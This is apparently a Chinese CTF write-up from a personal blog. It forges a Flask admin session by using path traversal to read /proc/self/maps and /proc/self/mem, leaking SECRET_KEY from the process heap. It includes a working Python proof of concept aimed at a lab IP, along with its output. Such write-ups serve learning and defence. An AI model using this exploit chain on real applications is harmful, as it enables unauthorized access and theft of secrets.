关于Flask中的Session伪造——基于Python对象堆内存的分析

[+]前置小知识

·什么叫python存储对象的位置在堆上？

1
app = Flask(__name__)
2
app.config['SECRET_KEY'] = 'xxxxxxxx'
3
#只要flask一启动：
4
#app对象在堆上
5
#app.config也在堆上
6
#'SECRET_KEY'也在堆上
7
#'xxxxxxxx'也在堆上

对象又是什么？我来举一个简单的例子：

1
a = 1
2
b = [1,2,3]
3
c = {"key":"val"}
4
#a,b,c是变量名
5
#三者的值是对象

前面说app是实例化后的flask的一个对象其实不是很准确，这么说的原因是源码开头有这段代码

1
app = Flask(
2
    __name__,
3
    static_url_path='/',
4
    static_folder='static'
5
)
6
#最基础的是app = Flask(__name__)
7
#这里是将flask的对象赋值给app，所以应该说是app指向了实例化后flask的对象

·堆还是挺形象的，就是所有对象一个一个堆起来，最终成为一个”堆”。这是直观类比，实际堆是由内存分配器管理的虚拟地址空间。

·Flask_session机制：序列化内容+时间+防篡改值，这三部分内容加密后以符号 ’.’来进行分隔。

·/proc/self/maps是由数个<起始地址-结束地址权限偏移设备 inode [映射来源/文件路径]>组成的，可以通过读取该文件来得到内存数据映射的地址。

·/proc/self/mem?start=<起始地址>&end=<结束地址>，是当前进程的内存内容。要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

(这知识点都已经跑到pwn那边了ಠ_ಠ)

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]寻找漏洞点

打开靶机是这样子的。扫路由发现/admin和/info，进入/admin，发现回显nonono，但是我发现该靶机存在Cookie:session=eyJhZG1pbiI6MH0.aU0lvA.dpNrMbo6PxFI0b0JUaOXXB_ZqcQ，而且每次都不一样第一段可base64解码为{"admin":0}，那么猜测最终将admin的值变为1即可。这是flask_session。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]读取文件

接着随意点一个链接，发现url变为http://xx.xx.xx.xx:xxxxx/info?file=xxxxx.txt，疑似存在文件读取漏洞。传入/etc/passwd发现无法读取文件，路径遍历一下，成功读取。

那么再读取/proc/self/environ和/proc/self/cmdline看看，环境变量中没有收获，cmdline成功读到源码名app.py。那么再路径遍历读取app.py即可获取源码。最终是../app.py。

1
import os
2
import uuid
3
from flask import Flask, request, session, render_template, Markup
4
from cat import cat
5

6
flag = ""
7
app = Flask(
8
    __name__,
9
    static_url_path='/',
10
    static_folder='static'
11
)
12
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
13

14
if os.path.isfile("/flag"):
15
    flag = cat("/flag")
16
    os.remove("/flag")
17

18

19
@app.route('/', methods=['GET'])
20
def index():
21
    detailtxt = os.listdir('./details/')
22
    cats_list = []
23

24
    for i in detailtxt:
25
        cats_list.append(i[:i.index('.')])
26

27
    return render_template("index.html", cats_list=cats_list, cat=cat)
28

29

30
@app.route('/info', methods=["GET", "POST"])
31
def info():
32
    filename = "./details/" + request.args.get('file', "")
33
    start = request.args.get('start', "0")
34
    end = request.args.get('end', "0")
35
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
36

37
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
38

39

40
@app.route('/admin', methods=["GET"])
41
def admin_can_list_root():
42
    if session.get('admin') == 1:
43
        return flag
44
    else:
45
        session['admin'] = 0
46
        return "NoNoNo"
47

48

49
if __name__ == '__main__':
50
    app.run(host='0.0.0.0', debug=False, port=5637)

可以发现同目录下还存在cat.py，我看了下用处不大。现在主要来看/admin路由，发现确实是让admin的值为1即可获取flag。虽然我能想得到需要伪造session，但是我不知道怎么做，所以我去参考了一下大佬们的wp。

ession伪造的必要条件是获取SECRET_KEY，而python存储对象的位置在堆上，app是实例化的flask的对象，且secret_key在app.config[‘SECRET_KEY‘]中，所以可以通过/proc/self/maps中的读取特定文件来得到内存数据映射的地址，通过/proc/self/mem来读取secret_key。SECRET_KEY 之所以可被定位，是因为其值具有固定后缀*abcdefgh，并且生命周期与进程一致。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]获取secret_key并伪造session(以下是大佬的Poc，因环境不同稍作修改)

1
# coding=utf-8
2
#----------------------------------
3
###################################
4
#Edited by lx56@blog.lxscloud.top
5
###################################
6
#----------------------------------
7
import requests
8
import re
9
import ast, sys
10
from abc import ABC
11
from flask.sessions import SecureCookieSessionInterface
12

13

14
url = "http://61.147.171.105:60641/"
15

16
#此程序只能运行于Python3以上
17
if sys.version_info[0] < 3: # < 3.0
18
    raise Exception('Must be using at least Python 3')
19

20
#----------------session 伪造----------------
21
class MockApp(object):
22
    def __init__(self, secret_key):
23
        self.secret_key = secret_key
24
        self.config = {
25
            "SECRET_KEY": secret_key,
26
            "SECRET_KEY_FALLBACKS": [],
27
        }
28

29
class FSCM(ABC):
30
        def encode(secret_key, session_cookie_structure):
31
            """ Encode a Flask session cookie """
32
            try:
33
                app = MockApp(secret_key)
34

35
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
36
                si = SecureCookieSessionInterface()
37
                s = si.get_signing_serializer(app)
38

39
                return s.dumps(session_cookie_structure)
40
            except Exception as e:
41
                return "[Encoding error] {}".format(e)
42
                raise e
43
#-------------------------------------------
44

45

46

47
#由/proc/self/maps获取可读写的内存地址，再根据这些地址读取/proc/self/mem来获取secret key
48
s_key = ""
49
bypass = "../../../.."
50
#请求file路由进行读取
51
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
52
map_list = map_list.text.split("\\n")
53
for i in map_list:
54
    #匹配指定格式的地址
55
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
56
    if map_addr:
57
        start = int(map_addr.group(1), 16)
58
        end = int(map_addr.group(2), 16)
59
        print("Found rw addr:", start, "-", end)
60

61
        #设置起始和结束位置并读取/proc/self/mem
62
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
63
        #如果发现*abcdefgh存在其中，说明成功泄露secretkey
64
        if "*abcdefgh" in res.text:
65
            #正则匹配，本题secret key格式为32个小写字母或数字，再加上*abcdefgh
66
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
67
            if secret_key:
68
                print("Secret Key:", secret_key[0])
69
                s_key = secret_key[0]
70
                break
71

72
#设置session中admin的值为1
73
data = "{'admin':1}"
74
#伪造session
75
headers = {
76
    "Cookie" : "session=" + FSCM.encode(s_key, data)
77
}
78
#请求admin路由
79
try:
80
    flag = requests.get(url + "admin", headers=headers)
81
    print(headers)
82
    print("Flag is", flag.text)
83
except:
84
    print("Something error")
85
'''output:
86
Found rw addr: 94330474651648 - 94330474655744
87
Found rw addr: 94330479685632 - 94330479702016
88
Found rw addr: 140498668433408 - 140498668449792
89
Found rw addr: 140498674855936 - 140498674872320
90
Found rw addr: 140498676985856 - 140498678038528
91
Found rw addr: 140498678046720 - 140498679377920
92
Found rw addr: 140498679611392 - 140498680029184
93
Found rw addr: 140498680033280 - 140498680360960
94
Secret Key: 1ac1870b5bb34d96b9013ebd1cc34904*abcdefgh
95
{'Cookie': 'session=eyJhZG1pbiI6MX0.aU0jgg.RGYg8pht_0-ZBnH3cKX5-Zx2Tww'}
96
Flag is catctf{Catch_the_c4t_HaHa}
97
'''

成功获取flag。

F0r7yn's Blog